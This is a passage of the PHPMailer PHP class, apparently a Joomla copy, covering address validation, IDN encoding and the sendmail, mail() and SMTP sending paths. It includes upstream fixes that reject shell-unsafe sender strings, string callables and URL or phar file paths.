@var string */ public $DKIM_private_string = ''; /** * Callback Action function name. * * The function that handles the result of the send email action. * It is called out by send() for each email sent. * * Value can be any php callable: http://www.php.net/is_callable * * Parameters: * boolean $result result of the send action * array $to email addresses of the recipients * array $cc cc email addresses * array $bcc bcc email addresses * string $subject the subject * string $body the email body * string $from email address of sender * @var string */ public $action_function = ''; /** * What to put in the X-Mailer header. * Options: An empty string for PHPMailer default, whitespace for none, or a string to use * @var string */ public $XMailer = ''; /** * Which validator to use by default when validating email addresses. * May be a callable to inject your own validator, but there are several built-in validators. * @see PHPMailer::validateAddress() * @var string|callable * @static */ public static $validator = 'auto'; /** * An instance of the SMTP sender class. * @var SMTP * @access protected */ protected $smtp = null; /** * The array of 'to' names and addresses. * @var array * @access protected */ protected $to = array(); /** * The array of 'cc' names and addresses. * @var array * @access protected */ protected $cc = array(); /** * The array of 'bcc' names and addresses. * @var array * @access protected */ protected $bcc = array(); /** * The array of reply-to names and addresses. * @var array * @access protected */ protected $ReplyTo = array(); /** * An array of all kinds of addresses. * Includes all of $to, $cc, $bcc * @var array * @access protected * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc */ protected $all_recipients = array(); /** * An array of names and addresses queued for validation. * In send(), valid and non duplicate entries are moved to $all_recipients * and one of $to, $cc, or $bcc. * This array is used only for addresses with IDN. * @var array * @access protected * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc * @see PHPMailer::$all_recipients */ protected $RecipientsQueue = array(); /** * An array of reply-to names and addresses queued for validation. * In send(), valid and non duplicate entries are moved to $ReplyTo. * This array is used only for addresses with IDN. * @var array * @access protected * @see PHPMailer::$ReplyTo */ protected $ReplyToQueue = array(); /** * The array of attachments. * @var array * @access protected */ protected $attachment = array(); /** * The array of custom headers. * @var array * @access protected */ protected $CustomHeader = array(); /** * The most recent Message-ID (including angular brackets). * @var string * @access protected */ protected $lastMessageID = ''; /** * The message's MIME type. * @var string * @access protected */ protected $message_type = ''; /** * The array of MIME boundary strings. * @var array * @access protected */ protected $boundary = array(); /** * The array of available languages. * @var array * @access protected */ protected $language = array(); /** * The number of errors encountered. * @var integer * @access protected */ protected $error_count = 0; /** * The S/MIME certificate file path. * @var string * @access protected */ protected $sign_cert_file = ''; /** * The S/MIME key file path. * @var string * @access protected */ protected $sign_key_file = ''; /** * The optional S/MIME extra certificates ("CA Chain") file path. * @var string * @access protected */ protected $sign_extracerts_file = ''; /** * The S/MIME password for the key. * Used only if the key is encrypted. * @var string * @access protected */ protected $sign_key_pass = ''; /** * Whether to throw exceptions for errors. * @var boolean * @access protected */ protected $exceptions = false; /** * Unique ID used for message ID and boundaries. * @var string * @access protected */ protected $uniqueid = ''; /** * Error severity: message only, continue processing. */ const STOP_MESSAGE = 0; /** * Error severity: message, likely ok to continue processing. */ const STOP_CONTINUE = 1; /** * Error severity: message, plus full stop, critical error reached. */ const STOP_CRITICAL = 2; /** * SMTP RFC standard line ending. */ const CRLF = "\r\n"; /** * The maximum line length allowed by RFC 2822 section 2.1.1 * @var integer */ const MAX_LINE_LENGTH = 998; /** * Constructor. * @param boolean $exceptions Should we throw external exceptions? */ public function __construct($exceptions = null) { if ($exceptions !== null) { $this->exceptions = (boolean)$exceptions; } //Pick an appropriate debug output format automatically $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html'); } /** * Destructor. */ public function __destruct() { //Close any open SMTP connection nicely $this->smtpClose(); } /** * Call mail() in a safe_mode-aware fashion. * Also, unless sendmail_path points to sendmail (or something that * claims to be sendmail), don't pass params (not a perfect fix, * but it will do) * @param string $to To * @param string $subject Subject * @param string $body Message Body * @param string $header Additional Header(s) * @param string $params Params * @access private * @return boolean */ private function mailPassthru($to, $subject, $body, $header, $params) { // Joomla Backported concept from https://github.com/PHPMailer/PHPMailer/pull/2188 if (PHP_VERSION_ID >= 80000 || stripos(PHP_OS, 'WIN') === 0) { $header = str_replace("\n", self::CRLF, $header); } //Check overloading of mail function to avoid double-encoding if (ini_get('mbstring.func_overload') & 1) { $subject = $this->secureHeader($subject); } else { $subject = $this->encodeHeader($this->secureHeader($subject)); } //Can't use additional_parameters in safe_mode, calling mail() with null params breaks //@link http://php.net/manual/en/function.mail.php if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) { $result = @mail($to, $subject, $body, $header); } else { $result = @mail($to, $subject, $body, $header, $params); } return $result; } /** * Output debugging info via user-defined method. * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug). * @see PHPMailer::$Debugoutput * @see PHPMailer::$SMTPDebug * @param string $str */ protected function edebug($str) { if ($this->SMTPDebug <= 0) { return; } //Avoid clash with built-in function names if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case 'error_log': //Don't output, just log error_log($str); break; case 'html': //Cleans up output a bit for a better looking, HTML-safe output echo htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ) . "<br>\n"; break; case 'echo': default: //Normalize line breaks $str = preg_replace('/\r\n?/ms', "\n", $str); echo gmdate('Y-m-d H:i:s') . "\t" . str_replace( "\n", "\n \t ", trim($str) ) . "\n"; } } /** * Sets message type to HTML or plain. * @param boolean $isHtml True for HTML mode. * @return void */ public function isHTML($isHtml = true) { if ($isHtml) { $this->ContentType = 'text/html'; } else { $this->ContentType = 'text/plain'; } } /** * Send messages using SMTP. * @return void */ public function isSMTP() { $this->Mailer = 'smtp'; } /** * Send messages using PHP's mail() function. * @return void */ public function isMail() { $this->Mailer = 'mail'; } /** * Send messages using $Sendmail. * @return void */ public function isSendmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (!stristr($ini_sendmail_path, 'sendmail')) { $this->Sendmail = '/usr/sbin/sendmail'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'sendmail'; } /** * Send messages using qmail. * @return void */ public function isQmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (!stristr($ini_sendmail_path, 'qmail')) { $this->Sendmail = '/var/qmail/bin/qmail-inject'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'qmail'; } /** * Add a "To" address. * @param string $address The email address to send to * @param string $name * @return boolean true on success, false if address already used or invalid in some way */ public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress('to', $address, $name); } /** * Add a "CC" address. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer. * @param string $address The email address to send to * @param string $name * @return boolean true on success, false if address already used or invalid in some way */ public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress('cc', $address, $name); } /** * Add a "BCC" address. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer. * @param string $address The email address to send to * @param string $name * @return boolean true on success, false if address already used or invalid in some way */ public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress('bcc', $address, $name); } /** * Add a "Reply-To" address. * @param string $address The email address to reply to * @param string $name * @return boolean true on success, false if address already used or invalid in some way */ public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress('Reply-To', $address, $name); } /** * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still * be modified after calling this function), addition of such addresses is delayed until send(). * Addresses that have been added already return false, but do not throw exceptions. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' * @param string $address The email address to send, resp. to reply to * @param string $name * @throws phpmailerException * @return boolean true on success, false if address already used or invalid in some way * @access protected */ protected function addOrEnqueueAnAddress($kind, $address, $name) { $address = trim($address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim if (($pos = strrpos($address, '@')) === false) { // At-sign is misssing. $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } $params = array($kind, $address, $name); // Enqueue addresses with IDN until we know the PHPMailer::$CharSet. if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) { if ($kind != 'Reply-To') { if (!array_key_exists($address, $this->RecipientsQueue)) { $this->RecipientsQueue[$address] = $params; return true; } } else { if (!array_key_exists($address, $this->ReplyToQueue)) { $this->ReplyToQueue[$address] = $params; return true; } } return false; } // Immediately add standard addresses without IDN. return call_user_func_array(array($this, 'addAnAddress'), $params); } /** * Add an address to one of the recipient arrays or to the ReplyTo array. * Addresses that have been added already return false, but do not throw exceptions. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' * @param string $address The email address to send, resp. to reply to * @param string $name * @throws phpmailerException * @return boolean true on success, false if address already used or invalid in some way * @access protected */ protected function addAnAddress($kind, $address, $name = '') { if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) { $error_message = $this->lang('Invalid recipient kind: ') . $kind; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } if (!$this->validateAddress($address)) { $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } if ($kind != 'Reply-To') { if (!array_key_exists(strtolower($address), $this->all_recipients)) { array_push($this->$kind, array($address, $name)); $this->all_recipients[strtolower($address)] = true; return true; } } else { if (!array_key_exists(strtolower($address), $this->ReplyTo)) { $this->ReplyTo[strtolower($address)] = array($address, $name); return true; } } return false; } /** * Parse and validate a string containing one or more RFC822-style comma-separated email addresses * of the form "display name <address>" into an array of name/address pairs. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available. * Note that quotes in the name part are removed. * @param string $addrstr The address list string * @param bool $useimap Whether to use the IMAP extension to parse the list * @return array * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation */ public function parseAddresses($addrstr, $useimap = true) { $addresses = array(); if ($useimap and function_exists('imap_rfc822_parse_adrlist')) { //Use this built-in parser if it's available $list = imap_rfc822_parse_adrlist($addrstr, ''); foreach ($list as $address) { if ($address->host != '.SYNTAX-ERROR.') { if ($this->validateAddress($address->mailbox . '@' . $address->host)) { $addresses[] = array( 'name' => (property_exists($address, 'personal') ? $address->personal : ''), 'address' => $address->mailbox . '@' . $address->host ); } } } } else { //Use this simpler parser $list = explode(',', $addrstr); foreach ($list as $address) { $address = trim($address); //Is there a separate name part? if (strpos($address, '<') === false) { //No separate name, just use the whole thing if ($this->validateAddress($address)) { $addresses[] = array( 'name' => '', 'address' => $address ); } } else { list($name, $email) = explode('<', $address); $email = trim(str_replace('>', '', $email)); if ($this->validateAddress($email)) { $addresses[] = array( 'name' => trim(str_replace(array('"', "'"), '', $name)), 'address' => $email ); } } } } return $addresses; } /** * Set the From and FromName properties. * @param string $address * @param string $name * @param boolean $auto Whether to also set the Sender address, defaults to true * @throws phpmailerException * @return boolean */ public function setFrom($address, $name = '', $auto = true) { $address = trim($address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim // Don't validate now addresses with IDN. Will be done in send(). if (($pos = strrpos($address, '@')) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) { $error_message = $this->lang('invalid_address') . " (setFrom) $address"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } $this->From = $address; $this->FromName = $name; if ($auto) { if (empty($this->Sender)) { $this->Sender = $address; } } return true; } /** * Return the Message-ID header of the last email. * Technically this is the value from the last time the headers were created, * but it's also the message ID of the last sent message except in * pathological cases. * @return string */ public function getLastMessageID() { return $this->lastMessageID; } /** * Check that a string looks like an email address. * @param string $address The email address to check * @param string|callable $patternselect A selector for the validation pattern to use : * * `auto` Pick best pattern automatically; * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14; * * `pcre` Use old PCRE implementation; * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements. * * `noregex` Don't use a regex: super fast, really dumb. * Alternatively you may pass in a callable to inject your own validator, for example: * PHPMailer::validateAddress('user@example.com', function($address) { * return (strpos($address, '@') !== false); * }); * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator. * @return boolean * @static * @access public */ public static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } //Don't allow strings as callables, see CVE-2021-3603 if (is_callable($patternselect) && !is_string($patternselect)) { return call_user_func($patternselect, $address); } //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) { return false; } if (!$patternselect or $patternselect == 'auto') { //Check this constant first so it works when extension_loaded() is disabled by safe mode //Constant was added in PHP 5.2.4 if (defined('PCRE_VERSION')) { //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { $patternselect = 'pcre8'; } else { $patternselect = 'pcre'; } } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { //Fall back to older PCRE $patternselect = 'pcre'; } else { //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension if (version_compare(PHP_VERSION, '5.2.0') >= 0) { $patternselect = 'php'; } else { $patternselect = 'noregex'; } } } switch ($patternselect) { case 'pcre8': /** * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains. * @link http://squiloople.com/2009/12/20/email-address-validation/ * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (boolean)preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'pcre': //An older regex that doesn't need a recent PCRE return (boolean)preg_match( '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address ); case 'html5': /** * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email) */ return (boolean)preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'noregex': //No PCRE! Do something _very_ approximate! //Check the address is 3 chars or longer and contains an @ that's not the first or last char return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1); case 'php': default: return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL); } } /** * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the * "intl" and "mbstring" PHP extensions. * @return bool "true" if required functions for IDN support are present */ public function idnSupported() { // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2. return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding'); } /** * Converts IDN in given email address to its ASCII form, also known as punycode, if possible. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet. * This function silently returns unmodified address if: * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form) * - Conversion to punycode is impossible (e.g. required PHP functions are not available) * or fails for any reason (e.g. domain has characters not allowed in an IDN) * @see PHPMailer::$CharSet * @param string $address The email address to convert * @return string The encoded address in ASCII form */ public function punyencodeAddress($address) { // Verify we have required functions, CharSet, and at-sign. if ($this->idnSupported() and !empty($this->CharSet) and ($pos = strrpos($address, '@')) !== false) { $domain = substr($address, ++$pos); // Verify CharSet string is a valid one, and domain properly encoded in this CharSet. if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) { $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet); if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ? idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : idn_to_ascii($domain)) !== false) { return substr($address, 0, $pos) . $punycode; } } } return $address; } /** * Create a message and send it. * Uses the sending method specified by $Mailer. * @throws phpmailerException * @return boolean false on error - See the ErrorInfo property for details of the error. */ public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (phpmailerException $exc) { $this->mailHeader = ''; $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } /** * Prepare a message for sending. * @throws phpmailerException * @return boolean */ public function preSend() { try { $this->error_count = 0; // Reset errors $this->mailHeader = ''; // Dequeue recipient and Reply-To addresses with IDN foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { $params[1] = $this->punyencodeAddress($params[1]); call_user_func_array(array($this, 'addAnAddress'), $params); } if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) { throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL); } // Validate From, Sender, and ConfirmReadingTo addresses foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) { $this->$address_kind = trim($this->$address_kind); if (empty($this->$address_kind)) { continue; } $this->$address_kind = $this->punyencodeAddress($this->$address_kind); if (!$this->validateAddress($this->$address_kind)) { $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } } // Set whether the message is multipart/alternative if ($this->alternativeExists()) { $this->ContentType = 'multipart/alternative'; } $this->setMessageType(); // Refuse to send an empty message unless we are specifically allowing it if (!$this->AllowEmpty and empty($this->Body)) { throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL); } // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding) $this->MIMEHeader = ''; $this->MIMEBody = $this->createBody(); // createBody may have added some headers, so retain them $tempheaders = $this->MIMEHeader; $this->MIMEHeader = $this->createHeader(); $this->MIMEHeader .= $tempheaders; // To capture the complete message when using mail(), create // an extra header list which createHeader() doesn't fold in if ($this->Mailer == 'mail') { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend('To', $this->to); } else { $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;'); } $this->mailHeader .= $this->headerLine( 'Subject', $this->encodeHeader($this->secureHeader(trim($this->Subject))) ); } // Sign with DKIM if enabled if (!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or (!empty($this->DKIM_private) and self::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private) ) ) ) { $header_dkim = $this->DKIM_Add( $this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody ); $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF . str_replace("\r\n", "\n", $header_dkim) . self::CRLF; } return true; } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } /** * Actually send a message. * Send the email via the selected mechanism * @throws phpmailerException * @return boolean */ public function postSend() { try { // Choose the mailer and send through it switch ($this->Mailer) { case 'sendmail': case 'qmail': return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case 'smtp': return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case 'mail': return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: $sendMethod = $this->Mailer.'Send'; if (method_exists($this, $sendMethod)) { return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } } return false; } /** * Send mail using the $Sendmail program. * @param string $header The message headers * @param string $body The message body * @see PHPMailer::$Sendmail * @throws phpmailerException * @access protected * @return boolean */ protected function sendmailSend($header, $body) { // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. if (!empty($this->Sender) and self::isShellSafe($this->Sender)) { if ($this->Mailer == 'qmail') { $sendmailFmt = '%s -f%s'; } else { $sendmailFmt = '%s -oi -f%s -t'; } } else { if ($this->Mailer == 'qmail') { $sendmailFmt = '%s'; } else { $sendmailFmt = '%s -oi -t'; } } // TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing. $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { if (!@$mail = popen($sendmail, 'w')) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, 'To: ' . $toAddr . "\n"); fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback( ($result == 0), array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From ); if ($result != 0) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } } else { if (!@$mail = popen($sendmail, 'w')) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback( ($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From ); if ($result != 0) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } return true; } /** * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters. * * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows. * @param string $string The string to be validated * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report * @access protected * @return boolean */ protected static function isShellSafe($string) { // Future-proof if (escapeshellcmd($string) !== $string or !in_array(escapeshellarg($string), array("'$string'", "\"$string\"")) ) { return false; } $length = strlen($string); for ($i = 0; $i < $length; $i++) { $c = $string[$i]; // All other characters have a special meaning in at least one common shell, including = and +. // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here. // Note that this does permit non-Latin alphanumeric characters based on the current locale. if (!ctype_alnum($c) && strpos('@_-.', $c) === false) { return false; } } return true; } /** * Check whether a file path is of a permitted type. * Used to reject URLs and phar files from functions that access local file paths, * such as addAttachment. * @param string $path A relative or absolute path to a file. * @return bool */ protected static function isPermittedPath($path) { return !preg_match('#^[a-z]+://#i', $path); } /** * Send mail using the PHP mail() function. * @param string $header The message headers * @param string $body The message body * @link http://www.php.net/manual/en/book.mail.php * @throws phpmailerException * @access protected * @return boolean */ protected function mailSend($header, $body) { $toArr = array(); foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = implode(', ', $toArr); $params = null; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. if (self::isShellSafe($this->Sender)) { $params = sprintf('-f%s', $this->Sender); } } if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) { $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $result = false; if ($this->SingleTo and count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); } if (isset($old_from)) { ini_set('sendmail_from', $old_from); } if (!$result) { throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL); } return true; } /** * Get an instance to use for SMTP operations. * Override this function to load your own SMTP implementation * @return SMTP */ public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP; } return $this->smtp; } /** * Send mail via SMTP. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input. * Uses the PHPMailerSMTP class by default. * @see PHPMailer::getSMTPInstance() to use a different class. * @param string $header The message headers * @param string $body The message body * @throws phpmailerException * @uses SMTP * @access protected * @return boolean */ protected function smtpSend($header, $body) { $bad_rcpt = array(); if (!$this->smtpConnect($this->SMTPOptions)) { throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL); } if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { $smtp_from = $this->Sender; } else { $smtp_from = $this->From; } if (!$this->smtp->mail($smtp_from)) { $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError())); throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL); } // Attempt to send to all recipients foreach (array($this->to, $this->cc, $this->bcc) as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0])) { $error = $this->smtp->getError(); $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']); $isSent = false; } else { $isSent = true; } $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From); } } // Only send the DATA command if we have viable recipients if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) { throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL); } if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } //Create error message for any bad addresses if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad['to'] . ': ' . $bad['error']; } throw new phpmailerException( $this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE ); } return true; } /** * Initiate a connection to an SMTP server. * Returns false if the operation failed. * @param array $options An array of options compatible with stream_context_create() * @uses SMTP * @access public * @throws phpmailerException * @return boolean */ public function smtpConnect($options = null) { if (is_null($this->smtp)) { $this->smtp = $this->getSMTPInstance(); } //If no options are provided, use whatever is set in the instance if (is_null($options)) { $options = $this->SMTPOptions; } // Already connected? if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); $hosts = explode(';', $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = array(); if (!preg_match( '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/', trim($hostentry), $hostinfo )) { // Not a valid host entry $this->edebug('Ignoring invalid host: ' . $hostentry); continue; } // $hostinfo[2]: optional ssl or tls prefix // $hostinfo[3]: the hostname // $hostinfo[4]: optional port number // The host string prefix can temporarily override the current setting for SMTPSecure // If it's not specified, the default value is used $prefix = ''; $secure = $this->SMTPSecure; $tls = ($this->SMTPSecure == 'tls'); if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) { $prefix = 'ssl://'; $tls = false; // Can't have SSL and TLS at the same time $secure = 'ssl'; } elseif ($hostinfo[2] == 'tls') { $tls = true; // tls doesn't use a prefix $secure = 'tls'; } //Do we need the OpenSSL extension? $sslext = defined('OPENSSL_ALGO_SHA1'); if ('tls' === $secure or 'ssl' === $secure) { //Check for an 